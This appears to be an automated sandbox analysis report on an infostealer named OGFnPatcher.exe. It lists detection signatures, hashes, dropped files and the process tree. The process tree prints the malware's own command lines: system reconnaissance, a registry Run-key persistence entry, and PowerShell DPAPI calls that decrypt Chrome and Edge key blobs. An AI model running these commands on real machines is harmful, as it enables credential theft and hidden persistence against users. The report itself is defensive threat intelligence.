Overview

overview

10

Static

static

10

vape.exe

windows7-x64

7

vape.exe

windows10-2004-x64

9

$PLUGINSDI...er.dll

windows7-x64

3

$PLUGINSDI...er.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows7-x64

3

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows7-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...ll.dll

windows7-x64

3

$PLUGINSDI...ll.dll

windows10-2004-x64

3

LICENSES.c...m.html

windows7-x64

3

LICENSES.c...m.html

windows10-2004-x64

3

OGFnPatcher.exe

windows10-2004-x64

9

d3dcompiler_47.dll

windows10-2004-x64

1

ffmpeg.dll

windows10-2004-x64

1

libEGL.dll

windows10-2004-x64

1

libGLESv2.dll

windows10-2004-x64

1

resources/app.asar

windows7-x64

3

resources/app.asar

windows10-2004-x64

3

resources/...e3.dll

windows7-x64

1

resources/...e3.dll

windows10-2004-x64

1

resources/...act.js

windows7-x64

3

resources/...act.js

windows10-2004-x64

3

sqlite-aut...llback

ubuntu-18.04-amd64

1

sqlite-aut...llback

debian-9-armhf

1

sqlite-aut...llback

debian-9-mips

1

sqlite-aut...llback

debian-9-mipsel

1

sqlite-aut...ace.js

windows7-x64

3

sqlite-aut...ace.js

windows10-2004-x64

3

sqlite-aut...al.ps1

windows7-x64

3

sqlite-aut...al.ps1

windows10-2004-x64

3

sqlite-aut...re.vbs

windows7-x64

1

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-09-2024 05:32

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    OGFnPatcher.exe

  • Size

    177.3MB

  • MD5

    82db6baf5501b11cf7582d68cb173689

  • SHA1

    ff40fcae2ecfb00eb3f1a36521afbdc93db1e6e6

  • SHA256

    17f48d532943a1160b9c171e183599d28b3a03b4943df8d1b5f8af2aaed142fc

  • SHA512

    9d47fc31fec0379b7ec6461401e5cda54f7b64d6ff0a30136e5ad58bb94446cfa6f1e511380eb5bf99f59174e56fdc7a7cd06cf7cf46898c672bf37c36ec4d82

  • SSDEEP

    1572864:s+vbimZ3RqPfrrW/GDt+wy2tXgJdtEaxMz6lMp1rJ/Gk/QeF/anRq9A4CGdhVnau:sA5kyGScXQT

Score
9/10
credential_accessdiscoverypersistencespywarestealer

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 14 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe
    "C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe"
    1⤵
    • Checks computer location settings
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1852
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2952
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get size | more +1"
      2⤵
        PID:3388
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic logicaldisk get size
          3⤵
          • Collects information from the system
          • Suspicious use of AdjustPrivilegeToken
          PID:1516
        • C:\Windows\system32\more.com
          more +1
          3⤵
            PID:3424
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2800
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3964
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption, osarchitecture | more +1"
          2⤵
            PID:3392
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic OS get caption, osarchitecture
              3⤵
                PID:3872
              • C:\Windows\system32\more.com
                more +1
                3⤵
                  PID:3152
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name | more +1"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4892
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic cpu get name
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1388
                • C:\Windows\system32\more.com
                  more +1
                  3⤵
                    PID:1264
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController get name | more +1"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4880
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic PATH Win32_VideoController get name
                    3⤵
                    • Detects videocard installed
                    PID:1880
                  • C:\Windows\system32\more.com
                    more +1
                    3⤵
                      PID:1040
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:992
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                      3⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4452
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2920
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
                      3⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:888
                  • C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe
                    "C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\patcher" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2184,i,3911597595140455821,5834005799387160502,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2176 /prefetch:2
                    2⤵
                      PID:3076
                    • C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe
                      "C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\patcher" --field-trial-handle=2392,i,3911597595140455821,5834005799387160502,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:3
                      2⤵
                        PID:2964
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=2376 get ExecutablePath"
                        2⤵
                          PID:4592
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic process where processid=2376 get ExecutablePath
                            3⤵
                              PID:4620
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v System32Kernal /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe -silent" /f"
                            2⤵
                              PID:3952
                              • C:\Windows\system32\reg.exe
                                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v System32Kernal /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe -silent" /f
                                3⤵
                                • Adds Run key to start application
                                PID:2712
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                              2⤵
                                PID:4576
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1176
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                2⤵
                                  PID:4884
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist
                                    3⤵
                                    • Enumerates processes with tasklist
                                    PID:4556
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                  2⤵
                                    PID:2316
                                    • C:\Windows\system32\tasklist.exe
                                      tasklist
                                      3⤵
                                      • Enumerates processes with tasklist
                                      PID:2340
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,234,18,87,2,183,105,141,71,155,28,60,142,1,144,212,95,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,16,147,125,207,125,109,229,7,6,13,224,36,123,209,239,57,239,178,28,21,162,38,169,79,25,96,38,243,169,251,12,147,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,198,9,120,107,169,46,192,142,15,226,155,27,120,63,61,44,56,40,48,202,223,82,248,208,219,203,51,180,136,214,196,232,48,0,0,0,34,37,60,125,169,138,31,155,5,193,68,2,83,178,24,46,245,17,11,209,43,6,182,231,87,88,212,215,182,140,234,20,73,109,71,229,173,159,220,88,183,215,140,225,1,45,121,112,64,0,0,0,175,251,26,158,198,206,238,119,189,167,221,201,156,244,76,197,120,131,136,189,243,32,244,220,23,148,92,43,112,137,68,171,116,91,44,67,209,253,234,169,27,231,187,129,81,127,102,209,33,46,240,130,186,10,209,1,161,30,155,103,199,242,37,23), $null, 'CurrentUser')"
                                    2⤵
                                    • An obfuscated cmd.exe command-line is typically used to evade detection.
                                    PID:4800
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,234,18,87,2,183,105,141,71,155,28,60,142,1,144,212,95,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,16,147,125,207,125,109,229,7,6,13,224,36,123,209,239,57,239,178,28,21,162,38,169,79,25,96,38,243,169,251,12,147,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,198,9,120,107,169,46,192,142,15,226,155,27,120,63,61,44,56,40,48,202,223,82,248,208,219,203,51,180,136,214,196,232,48,0,0,0,34,37,60,125,169,138,31,155,5,193,68,2,83,178,24,46,245,17,11,209,43,6,182,231,87,88,212,215,182,140,234,20,73,109,71,229,173,159,220,88,183,215,140,225,1,45,121,112,64,0,0,0,175,251,26,158,198,206,238,119,189,167,221,201,156,244,76,197,120,131,136,189,243,32,244,220,23,148,92,43,112,137,68,171,116,91,44,67,209,253,234,169,27,231,187,129,81,127,102,209,33,46,240,130,186,10,209,1,161,30,155,103,199,242,37,23), $null, 'CurrentUser')
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4380
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,234,18,87,2,183,105,141,71,155,28,60,142,1,144,212,95,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,16,153,136,173,28,160,11,192,101,100,152,247,55,111,174,75,219,192,3,10,58,60,135,240,108,53,249,27,170,118,80,46,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,191,7,24,147,157,117,69,140,248,5,240,80,22,178,152,145,102,105,162,202,127,125,154,185,121,205,242,52,5,2,138,189,48,0,0,0,60,102,236,48,234,65,113,119,153,34,37,105,144,202,242,93,179,118,234,149,67,6,174,138,50,232,99,235,44,226,176,93,238,217,192,201,28,160,51,106,13,65,162,200,140,25,101,85,64,0,0,0,109,58,151,240,115,93,172,132,207,57,101,201,223,221,222,91,103,171,55,199,98,220,224,58,206,223,93,141,129,29,163,51,180,95,130,238,125,50,113,39,34,26,51,116,117,84,75,132,68,33,107,72,96,79,225,159,15,122,244,54,166,42,226,97), $null, 'CurrentUser')"
                                    2⤵
                                    • An obfuscated cmd.exe command-line is typically used to evade detection.
                                    PID:1836
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,234,18,87,2,183,105,141,71,155,28,60,142,1,144,212,95,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,16,153,136,173,28,160,11,192,101,100,152,247,55,111,174,75,219,192,3,10,58,60,135,240,108,53,249,27,170,118,80,46,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,191,7,24,147,157,117,69,140,248,5,240,80,22,178,152,145,102,105,162,202,127,125,154,185,121,205,242,52,5,2,138,189,48,0,0,0,60,102,236,48,234,65,113,119,153,34,37,105,144,202,242,93,179,118,234,149,67,6,174,138,50,232,99,235,44,226,176,93,238,217,192,201,28,160,51,106,13,65,162,200,140,25,101,85,64,0,0,0,109,58,151,240,115,93,172,132,207,57,101,201,223,221,222,91,103,171,55,199,98,220,224,58,206,223,93,141,129,29,163,51,180,95,130,238,125,50,113,39,34,26,51,116,117,84,75,132,68,33,107,72,96,79,225,159,15,122,244,54,166,42,226,97), $null, 'CurrentUser')
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1768
                                  • C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe
                                    "C:\Users\Admin\AppData\Local\Temp\OGFnPatcher.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\patcher" --gpu-preferences=UAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2388,i,3911597595140455821,5834005799387160502,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:8
                                    2⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3504

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Browsers\Passwords.txt
                                  Filesize

                                  19B

                                  MD5

                                  c4efd9a7b61ebf43b608440be5e33369

                                  SHA1

                                  926418256c277f1b11b575ec6e92ce6a844612f7

                                  SHA256

                                  ed4280859199da5a8f25c0c6d533d0873460ac63368c14a69bbd863ea4bfb30f

                                  SHA512

                                  9ea97363868d61d3d51bd3804d638b71ba8dc65260800b3a54051b4725cf08e9d9880a12422a549d94a339c7267e858a7ff5ca9428d64051657134b5c6c20745

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\ClearSuspend.txt
                                  Filesize

                                  565KB

                                  MD5

                                  3b2b45b926bb7a4218d2934b385aba78

                                  SHA1

                                  f20ee62a8821409c9b07d016045e092a407b3fe7

                                  SHA256

                                  f894fdd7abb4fe22a355c9b9c1b59d1772a837e9fe4845257a13e475d114809f

                                  SHA512

                                  34fb85ad55fccdc6924ca844f16f8d564131e7fc22401336e1b5723930d6fdb9930698eaa0f838d8d56f9ba8d81992edf3df4a72151885e1511fa83ee0410a51

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\CompleteInvoke.odt
                                  Filesize

                                  297KB

                                  MD5

                                  3a712d19779481a7d1e496d9a9b1ec2f

                                  SHA1

                                  5cd9565d5945b892ab3b814eac21c066784f929d

                                  SHA256

                                  0ddd29a74ed1f20a43ddd746d5224d6b1305e94ca5a880b94f50b902c335f990

                                  SHA512

                                  1a006bc7588ede0bef2de4cfa287aca44926b9d13f7f34a0e75fa93c0bfdf1092c2731c3ee309093d95d7e576195029dd50929c93a42bc5ef9943837384b5e9a

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\DismountSet.docx
                                  Filesize

                                  20KB

                                  MD5

                                  1089cb0055b4902ac07f99839fa73cb9

                                  SHA1

                                  f3912d5aebc2dfa5c920d08b0881114c1cc3e617

                                  SHA256

                                  c9d03295e9559ff0a1fa2037b37f24414500baadcdd264c0af1ae1a18e8d161a

                                  SHA512

                                  dd9e1244adf957afccc986184f0f4c3dacd9b3061eb5a943bfd28c7964d0d7ed70a16215ddd5d397af36e65fe5c1de041763765c140d843faa5d101a9b761320

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\ExitOpen.docx
                                  Filesize

                                  19KB

                                  MD5

                                  82832f6906be7a24a4edf50c9497c583

                                  SHA1

                                  e17161228fc17934feb56b1f5fb8ffd9a1371ad2

                                  SHA256

                                  f66bd4771497292897328d9a9f186a2c497d8029779a215e2b304cc3d8cba8bb

                                  SHA512

                                  2bf905d45c403538adc69b2d580fe409359d4cc0e9baebae9569c3ac078e57a1f5a99a5fae1a2f79b53640f04f02f44d69127f6c251a761c840795a2754ff4b1

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\ExpandLimit.odt
                                  Filesize

                                  815KB

                                  MD5

                                  35a0ef08e0075c1214f40c1cebd95eac

                                  SHA1

                                  83b5404df207b83a065477fa157c0fb7fee89d9e

                                  SHA256

                                  3963868dfb53b1560fc40b60433b99d5bf24fc69aac61b1194af57fb93dd08b7

                                  SHA512

                                  7237ea7b05959d1f63ea3c8a1ee8232722ed5a838a3a2fb20741ed18fe93dc96d096958b4b739010ecc7a9a7da1cd6a29937dd3f19e6169de612362434791df8

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\ImportUninstall.txt
                                  Filesize

                                  397KB

                                  MD5

                                  d0b4c61df580493d18bbd6e9c8a595c9

                                  SHA1

                                  b1ccc7fbbfa4aea40a48f6c692b190261b163f37

                                  SHA256

                                  de72f02ee13ac9326033508299577bd74911ec40ece7917810d91884f76002fa

                                  SHA512

                                  4b702e10ffcb93e639049adaaa74d5ccdbf7b7fb19388d513153e373b7970cd5f646a480581c7188ae5ca7b7ffd907dab54ebc398d652911be1bf3df5f62d505

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\MergePublish.docx
                                  Filesize

                                  918KB

                                  MD5

                                  7803788cc0636393d161b59192b41ab7

                                  SHA1

                                  8108bb87f2a4edeaf01919032ed6f8d8ed54f559

                                  SHA256

                                  603233afe6c4b9efeb126c5641f6bdeb381dc8e7f2630aa14a0bfc0cf37003cb

                                  SHA512

                                  73de6f786403d7be650d0a78eb664318a532ce932a4def4f68e78647345db0291a9b49feda03cf7be8d024dd463c7d62b026b927d71271a7ad5d9d54a5b6e3be

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\OptimizeRestart.rtf
                                  Filesize

                                  431KB

                                  MD5

                                  8eabf71a6db4923eec4e7f1cacf69361

                                  SHA1

                                  b5c612b8476c63a73c9ec01e3fcd3621294a08a2

                                  SHA256

                                  13dc9372f0adbf9c48689c8243af1abdc15337398d2807a2368b1d3200983b4c

                                  SHA512

                                  6a628b3a0d2ad5571c407053d7eab2d2d67ee7fe6c16c4d6de3cbb82701bf9dd9e58ed85c4b47d47e09c58ff54cb50745ab28f12b11ff0091705ce397ad095af

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\PublishOptimize.rtf
                                  Filesize

                                  527KB

                                  MD5

                                  2aa52d07d3c6507a4f8cad474cb5082d

                                  SHA1

                                  527c80afda1c4fd28248613a7379a183e206d345

                                  SHA256

                                  86092f26932356bc93e33280ed210762d49935b61b9bdcb48e29fdad6677b726

                                  SHA512

                                  3c995a1b6457d6804c4f28d7db8b658e923d56cabadc27f3c785896e0f8a5a05553f9048e6231272f9307958e1993ea6e2e39ab4978a6e057808138701aa703e

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\SetEnable.docx
                                  Filesize

                                  795KB

                                  MD5

                                  c294cf4f156dbb4256bb8d1a5170dd74

                                  SHA1

                                  bcc0dd361ede43e46a14e1a8f0622d6098457943

                                  SHA256

                                  aec4e926bd6aa785abee8fae24ba6ddb62c4655f661ece7d8ab79ef21919fa6e

                                  SHA512

                                  6c245e795cfa4d2ebd4920ef2bc4144773a0e53e9def0695ced0324bb9cb4b9648e3f2b4af35f10886e00f895bc2c422b9c86e799bfc98f28647b34e1b7ea143

                                  Download Submit

                                • C:\ProgramData\f3ce67c2dc480119f383760d45d27203\Files\SplitUnprotect.odt
                                  Filesize

                                  719KB

                                  MD5

                                  b506b96cc861532fe8f8563289bafb73

                                  SHA1

                                  071d28a152fbdee344cd20d614a4155efd9a0eaf

                                  SHA256

                                  0f5f8fe79554f9d5bdd3e82bb9f53bf6ef1f395ecd04c157a7d16d0bd7a5a87c

                                  SHA512

                                  9264087af01d3f625332d053e644a7b81027f1bace104ac7bd08e7a9ce99de849e4595e9f554919816aa61e2cb32f2ae21a0dfbf78e2422b6973b0c1cd51e902

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                  Filesize

                                  2KB

                                  MD5

                                  6cf293cb4d80be23433eecf74ddb5503

                                  SHA1

                                  24fe4752df102c2ef492954d6b046cb5512ad408

                                  SHA256

                                  b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                  SHA512

                                  0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  Filesize

                                  64B

                                  MD5

                                  5caad758326454b5788ec35315c4c304

                                  SHA1

                                  3aef8dba8042662a7fcf97e51047dc636b4d4724

                                  SHA256

                                  83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

                                  SHA512

                                  4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  Filesize

                                  64B

                                  MD5

                                  446dd1cf97eaba21cf14d03aebc79f27

                                  SHA1

                                  36e4cc7367e0c7b40f4a8ace272941ea46373799

                                  SHA256

                                  a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

                                  SHA512

                                  a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  Filesize

                                  1KB

                                  MD5

                                  8e26941f21dac5843c6d170e536afccb

                                  SHA1

                                  26b9ebd7bf3ed13bc51874ba06151850a0dac7db

                                  SHA256

                                  316f6ce22306f3018f9f57435ea75092633097182646f7e4ca23e2e2aa1393c0

                                  SHA512

                                  9148227032d98d49baf0d81a7435ba3adc653d7790245140acc50c38de00839d26a661b92f6754b15bab54fe81fbcf9003692fd7bef09027f11ef703a5879e62

                                  Download Submit

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0tnrlwv2.1ks.ps1
                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                  Download Submit

                                • memory/888-31-0x0000016D7DC30000-0x0000016D7DE4C000-memory.dmp

                                  Filesize

                                  2.1MB

                                  Download

                                • memory/888-12-0x0000016D7DF80000-0x0000016D7DFA2000-memory.dmp

                                  Filesize

                                  136KB

                                  Download

                                • memory/3504-170-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-172-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-171-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-176-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-177-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-182-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-181-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-180-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-179-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/3504-178-0x0000028B715C0000-0x0000028B715C1000-memory.dmp

                                  Filesize

                                  4KB

                                  Download

                                • memory/4380-66-0x000001A3A43E0000-0x000001A3A4430000-memory.dmp

                                  Filesize

                                  320KB

                                  Download

                                • memory/4452-36-0x0000025331B00000-0x0000025331D1C000-memory.dmp

                                  Filesize

                                  2.1MB

                                  Download